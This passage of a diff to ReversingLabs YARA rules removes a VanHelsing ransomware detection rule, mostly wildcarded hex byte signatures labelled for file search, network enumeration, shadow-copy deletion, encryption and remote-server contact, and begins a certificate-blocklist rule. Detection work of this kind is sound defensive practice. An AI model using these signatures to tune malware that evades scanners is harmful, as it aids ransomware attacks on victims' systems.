?? ?? ?? 5F 5E 5D 33 C0 5B E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 - } - $remote_server_2 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 57 33 FF 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 84 - 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? - 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 87 ?? ?? ?? ?? 53 55 56 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? - 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB BD ?? ?? - ?? ?? 8B CB B8 ?? ?? ?? ?? D3 E0 8B 4C 24 ?? 85 C1 0F 84 ?? ?? ?? ?? 8A D3 8D 44 24 - ?? 80 C2 ?? 50 88 54 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 4C 24 ?? 51 - FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D 50 ?? 8A - 08 40 84 C9 75 ?? 2B C2 50 8D 54 24 ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 6A - ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? - ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? ?? ?? E8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B - 8C 24 ?? ?? ?? ?? 5E 5D 5B 33 C0 5F E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 ?? ?? 57 FF - 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $file_search_p* ) ) and ( ( ( $encrypt_file_1 ) and ( $remote_server_1 ) ) or ( ( $encrypt_file_2 ) and ( $remote_server_2 ) ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Vanhelsing : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_2Daa8D629Cc0410A9482E62A0F8Bf8Fc : INFO FILE { meta: - description = "Yara rule that detects VanHelsing ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a12c5a00-523b-5644-aac5-e0f9d7e779b5" - date = "2025-06-10" - modified = "2025-06-10" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VanHelsing.yara#L1-L464" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8a04dac3ede0d2fb63db8f97fc20bb83372a2adf5e760ea7c29e5f563cee7442" - score = 75 - quality = 88 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "VanHelsing" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files_v1_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 - ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? - 8B 45 ?? 8B 5D ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 53 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D - 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? - ?? 50 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B - 3D ?? ?? ?? ?? 0F 1F 00 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? - ?? ?? 66 0F 1F 44 00 ?? FF 36 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 85 ?? ?? ?? ?? 83 - C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 - } - $find_files_v1_p2 = { - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? - ?? BE ?? ?? ?? ?? 66 0F 1F 44 00 ?? FF 36 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 85 ?? - ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 0F 57 C0 83 C4 - ?? 66 0F D6 06 C7 46 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 89 06 8B 85 ?? ?? ?? ?? 89 46 ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CE 85 C0 75 ?? E8 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 53 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? - ?? ?? ?? 83 C4 ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 - 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D - } - $network_enumeration_v1_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 83 3A ?? 0F 8E ?? - ?? ?? ?? 33 DB 89 5C 24 ?? 0F 1F 00 8D 42 ?? 03 C3 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 44 24 ?? 83 C4 ?? 89 5C 24 ?? 8D 72 ?? 03 - F0 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 6A ?? 50 6A - ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? - ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? - ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 8D 44 24 ?? 50 6A ?? 8D 44 - 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 - FF 39 7C 24 ?? 76 ?? 33 F6 8B 44 24 ?? 83 7C 06 ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 34 06 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 44 24 ?? FF 34 06 8D 44 24 ?? 50 8D 84 24 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 - } - $network_enumeration_v1_p2 = { - 68 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 - ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? 8B 5C 24 ?? 8B 44 24 ?? 05 ?? ?? ?? ?? 83 EB ?? 89 44 24 ?? 89 5C 24 ?? 0F 85 ?? - ?? ?? ?? 8B 74 24 ?? 8B 5C 24 ?? 46 81 C3 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 3B 32 - 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 3A ?? C7 44 24 ?? ?? ?? - ?? ?? 0F 8E ?? ?? ?? ?? 33 DB 89 5C 24 ?? 66 0F 1F 44 00 ?? 8D 42 ?? 03 C3 50 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 44 24 ?? 83 C4 ?? - 89 5C 24 ?? 8D 72 ?? 03 F0 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? - ?? 56 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 44 24 ?? 6A ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 - C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 8D - } - $network_enumeration_v1_p3 = { - 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB - ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 FF 39 7C 24 ?? 76 ?? 33 F6 0F 1F 84 00 ?? ?? ?? ?? - 8B 44 24 ?? 83 7C 06 ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 34 06 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 75 ?? 8B 44 24 ?? FF 34 06 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 50 8D 84 24 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? FF 74 24 ?? FF 15 ?? ?? - ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 5C 24 ?? 8B 44 24 ?? - 05 ?? ?? ?? ?? 83 EB ?? 89 44 24 ?? 89 5C 24 ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 5C - 24 ?? 46 81 C3 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 3B 32 0F 8C ?? ?? ?? ?? 68 ?? ?? - ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 33 - C0 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $delete_shadow_copies_v1_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 6A ?? 6A ?? FF 15 - ?? ?? ?? ?? 85 C0 79 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 79 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF - 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? FF D7 85 C0 78 ?? 68 ?? ?? ?? ?? FF D3 8B F0 8D 85 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 11 56 51 FF 52 ?? 8B F0 8D 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 85 F6 0F 88 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D7 85 C0 79 ?? 50 68 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D3 8B 8D - ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 8B 11 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? 56 51 FF 52 ?? 56 8B F8 FF 15 ?? ?? ?? ?? 85 FF 79 ?? 57 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 79 ?? 50 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? 8B 85 ?? ?? - ?? ?? 50 8B 08 FF 51 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 68 ?? ?? ?? ?? 8B F8 FF - } - $delete_shadow_copies_v1_p2 = { - D3 8B 8D ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? - 8B 11 6A ?? 56 57 51 FF 52 ?? 57 8B 3D ?? ?? ?? ?? 8B D8 FF D7 56 FF D7 85 DB 79 ?? - 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? 8B 85 - ?? ?? ?? ?? 50 8B 08 FF 51 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 01 8D 95 ?? ?? ?? ?? 52 8D 95 - ?? ?? ?? ?? 52 6A ?? 6A ?? 51 FF 50 ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 52 8B 08 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? - FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D3 83 C4 ?? FF B5 ?? ?? ?? - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8B F8 8D 85 ?? ?? ?? ?? 0F 57 C0 57 56 6A ?? 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? 50 6A ?? 0F 11 07 FF 15 ?? ?? ?? ?? 6A ?? FF 37 FF 15 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 50 8B 08 FF 51 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 85 C9 0F 85 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 08 FF 51 ?? 8B 85 ?? ?? ?? ?? 50 8B 08 FF 51 ?? 8B 85 - ?? ?? ?? ?? 50 8B 08 FF 51 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_v1_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 - ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 37 83 C4 ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 57 C0 C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 - ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 6A ?? 56 8D 8D ?? ?? ?? - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? - 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? FF - 15 ?? ?? ?? ?? 50 FF 37 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 - ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 - ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C6 45 ?? ?? 8B - } - $encrypt_files_v1_p2 = { - 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? EB - ?? 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 85 ?? - ?? ?? ?? C6 45 ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? 6A ?? - C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 03 BD ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B B5 ?? - ?? ?? ?? 8D 45 ?? FF 76 ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 45 ?? FF 76 ?? 6A ?? 6A ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? - ?? ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 36 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B - 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 - 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 8A 01 41 84 - C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - } - $encrypt_files_v1_p3 = { - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 8B 42 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? 8B - 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 4A ?? 83 BC 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D ?? ?? ?? - ?? 85 C9 74 ?? 8D 85 ?? ?? ?? ?? 3B C8 74 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 4A - ?? 8B 84 0D ?? ?? ?? ?? 85 C0 0F 94 85 ?? ?? ?? ?? C6 45 ?? ?? A8 ?? 75 ?? 8B 8C 0D - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? EB ?? 0F 57 - C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? C6 45 ?? - ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? - 